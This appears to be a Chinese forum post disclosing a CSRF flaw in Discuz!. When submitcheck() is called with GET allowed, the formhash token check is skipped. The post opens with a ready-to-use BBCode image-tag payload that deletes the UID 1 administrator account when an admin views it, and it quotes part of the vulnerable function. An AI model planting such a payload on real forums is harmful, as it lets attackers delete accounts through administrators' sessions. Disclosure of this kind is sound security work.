漏洞利用:
[img]admin.php?frame=no&action=members&operation=clean&submit=1&uidarray=1&confirmed=yes[/img] (可删除UID1用户)
有一定 discuz 开发基础的人一定对 submitcheck() 这个函数不陌生吧
没错,这个就是 Discuz! 对 CSRF 攻击做的防御函数
这个函数会判断请求中 formhash 的值,避免伪造的访问
今天在编写某款插件的时候偶然将带有 FORMHASH 字样的代码(即“FORMHASH”字符串)扔进了 Chrome 的 console,结果意外打开了插件的提示框,代码本来是这样的:
/* 前略 */ if(submitcheck('submit', true)){ http:// ........ } else { http:// ......... }
按理说 submitcheck 是会判断formhash的,而我给的formhash肯定是错误的
然后我又将 formhash 改为123456,结果依然过了formhash的判断
郁闷了,然后我就去看了 submitcheck 这货的实现方法
submitcheck -> helper_form::submitcheck
找到 source/class/helper/helper_form.php,节选部分代码:
public static function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) { if(!getgpc($var)) { return FALSE; } else { global $_G; if($allowget || ($_SERVER['REQUEST_METHOD'] == 'POST' /* 此处略去 */)) { if(checkperm('seccode')) {
你妹!!!!!!!
$allowget 就不管后面了???
formhash 拿去喂腾讯了???
无语,然后搜下,submitcheck($string, 1) 这种用法 discuz 自己也用……
剩下的自己YY吧
所以说密码到底是多少呀。。。ヽ(●-`Д´-)ノ